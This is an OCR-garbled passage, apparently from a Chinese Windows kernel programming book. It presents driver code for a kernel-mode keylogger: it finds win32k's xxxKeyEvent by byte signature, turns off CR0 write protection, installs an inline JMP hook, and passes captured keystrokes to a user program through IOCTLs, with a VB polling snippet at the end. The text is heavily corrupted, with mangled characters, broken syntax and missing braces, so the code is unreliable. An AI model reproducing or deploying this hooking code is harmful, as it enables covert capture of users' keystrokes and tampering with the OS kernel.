[win32k! gptiCurrent 化€9&&538)]中的 win32k!gptiCurrent 全局变量的地址可能是随着 ¥化32^878版本动态变化的,在定位的时候应当将其排除。最后,特征码为: 8b ff 55 8b ec 83 ec 40 al ?? ?? ?? ?? 8b 55 08 其中??匹配任意的一个字节。 为了确定搜索的范围,还需要遍历?81(^^伽0此161181获取^旧2^878内核模块的基地址和大小,完整代码实现如下。 UCHAR needle[] = {0x8B , 0xFF , 0x55 , 0x8B , 0xEC , 0x83 , 0xEC , 0x40 , 0xA1}; void locate_xxxKeyEvent() { PLIST_ENTRY pList = NULL; PLDR_DATA_TABLE_ENTRY Ldr = NULL; UNICODE_STRING str_win32k_sys; ULONG BaseAddr = 0; //界化32^878模块的基地址 ULONG Size = 0; //win32k. sys 模块的大小 ULONG i; RtlInitUnicodeString(&str_win32k_sys, L^win32k. sys〃); —try { pList = ( (PLIST_ENTRY)drvobj->DriverSection )->Flink; // 遍历 PsLoadedModuleList do { Ldr = CONTAINING_RECORD( pList, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); if ( Ldr->DllBase ) { if (RtlCompareUnicodeString(&Ldr->BaseDllName, &str_win32k_sys, FALSE) == 0) //比 较模块名,忽略大小写 { BaseAddr = (ULONG)Ldr->DllBase; Size = (ULONG)Ldr->SizeOfImage; pList = pList->Flink; } while ( pList != ((LIST_ENTRY*)drvobj->DriverSection)->Flink ); if (!BaseAddr) { dprintf(〃error : win32k. sys not found〃); return; for (i=BaseAddr;i<BaseAddr+Size-sizeof(needle);i++) if (*(PUCHAR)(i) == 0x8b) (RtlCompareMemory(needle, (PUCHAR)i, sizeof(needle)) if ((*(PUCHAR)(i+Oxd) == 0x8b) && (*(PUSHORT)(i+Oxe) 0x0855)) pfnxxxKeyEvent = (PVOID)i; _ex_t (EXCEPTION_EXECUTE_HANDLER) dprintf(〃pfnxxxKeyEvent : %x\n〃,pfnxxxKeyEvent); VOID iVpoff () { _asm T cli; push eax; mov eax, crO; and eax, OFFFEFFFFh; mov crO, eax; pop eax; } } VOID wpon () { _asm T push eax; mov eax, crO; or eax, 10000h; mov crO, eax; pop eax; sti; } } void hook() KIRQL oldirql; if (hooked) return; if (!pfnxxxKeyEvent) 1ocate_xxxKeyEvent(); if (!pfnxxxKeyEvent) return; oldirql = KeRaiseIrqlToDpcLevel(); wpoff (); *((PUCHAR)pfnxxxKeyEvent) =0xe9; *(PULONG)((ULONG)pfnxxxKeyEvent+1) = (ULONG)hooked_xxxKeyEvent - (ULONG)pfnxxxKeyEvent -5; wpon (); KeLowerIrql(oldirql); hooked = 1; dprintf (〃hooked\nr/); J 由于xxxkeyevent加载在会话地址空间,所以无论是定位函数、还是挂钩、脱钩处理, 都需要GUI进程的环境,而不能在DriverEntry函数中进行。在本例中,GUI程序通过 1乩如让01调用驱动进行挂钩处理。<y> ^S/ NTSTATUS DispatchIoctl(PDEVICE_OBJECT pDevObj, PIRP pIrp) { NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST; PIO_STACK_LOCATION pIrpStack; ULONG uIoControlCode; PULONG pIoBuffer; ULONG uInSize; ULONG uOutSize; long hProcess; pIrpStack = IoGetCurrentIrpStackLocation(pIrp); uIoControlCode = pIrpStack->Parameters. DeviceIoContro1. IoControlCode; pIoBuffer = (PULONG)pIrp->AssociatedIrp. SystemBuffer; uInSize = pIrpStack->Parameters. DeviceIoContro1. InputBufferLength; uOutSize = pIrpStack->Parameters. DeviceIoControl. OutputBufferLength; switch(uIoControlCode) { case IOCTL_START: //安装钩子 hook (); status = STATUS_SUCCESS; break; case I0CTL_ST0P: //卸载钩子 unhook (); status = STATUS_SUCCESS; break; case IOCTL_GETLASTKEY: //获取按键信息 pIoBuffer[0] = lastkey; lastkey = 0; status = STATUS_SUCCESS; break; } if(status == STATUS_SUCCESS) pIrp->IoStatus. Information = uOutSize; else pIrp->IoStatus. Information = 0; pIrp->IoStatus. Status = status; IoComp1eteRequest(pIrp, IO_NO_INCREMENT); return status; 在示例程序中,上层如1程序通过定时调用1001_0£11^51版¥查询按键信息,并进行 处理返回到文本框中。由于篇幅所限,本例中只处理了0~9八1的字符,并没有对31^代键、 Backspace键等进行处理,感兴趣的读者可自行添加,下面以¥18此18&810语言给出简单的 处理按键的方法。 、, Private Sub Timerl_Timer() Dim t As Long IoControl IOCTL_GETLASTKEY, 0, 0ByVal VarPtr(t), 4 If (t And &H8000) > 0 Then //是否为 KeyUp 事件 t = t And &HFF |